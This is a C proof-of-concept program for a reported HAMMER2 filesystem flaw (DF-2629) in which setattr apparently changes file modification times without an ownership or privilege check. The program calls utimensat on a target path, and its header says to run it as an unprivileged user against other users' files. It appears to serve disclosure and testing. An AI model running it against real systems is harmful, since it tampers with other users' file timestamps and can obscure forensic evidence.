DF-2629 / utimes_ab.c
/* * DF-2629 PoC: hammer2_vop_setattr() applies va_mtime with no * owner / privilege / VA_UTIMES_NULL check (hammer2_vnops.c:561-566), * diverging from the UFS VFS contract (ufs_vnops.c:461-470). * * utimes_ab <op> <path> * op = explicit : utimensat(path, {{1000000000,123456789},{...}}, 0) * op = now : utimensat(path, NULL, 0) (UTIME_NOW semantics) * * Prints one record: op, errno, mtime before/after. Run as an * unprivileged user against files owned by others. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <sys/stat.h> #include <sys/types.h> #ifndef AT_FDCWD #define AT_FDCWD -100 #endif int main(int argc, char **argv) { struct timespec ts[2]; struct stat st1, st2; int r, err; if (argc != 3) { fprintf(stderr, "usage: %s <explicit|now> <path>\n", argv[0]); return 64; } if (stat(argv[2], &st1) < 0) { printf("FS=%s OP=%s STAT_FAIL errno=%d\n", argv[2], argv[1], errno); return 2; } errno = 0; if (!strcmp(argv[1], "explicit")) { ts[0].tv_sec = 1000000000; ts[0].tv_nsec = 123456789; ts[1] = ts[0]; r = utimensat(AT_FDCWD, argv[2], ts, 0); } else if (!strcmp(argv[1], "now")) { r = utimensat(AT_FDCWD, argv[2], NULL, 0); } else { fprintf(stderr, "bad op\n"); return 64; } err = errno; if (stat(argv[2], &st2) < 0) st2 = st1; printf("FILE=%s OP=%s uid=%d fuid=%d fmode=%04o RET=%d errno=%d(%s) " "mtime %lld.%09ld -> %lld.%09ld\n", argv[2], argv[1], getuid(), st1.st_uid, st1.st_mode & 07777, r, r == 0 ? 0 : err, r == 0 ? "OK" : strerror(err), (long long)st1.st_mtim.tv_sec, st1.st_mtim.tv_nsec, (long long)st2.st_mtim.tv_sec, st2.st_mtim.tv_nsec); return (r == 0) ? 0 : 1; } |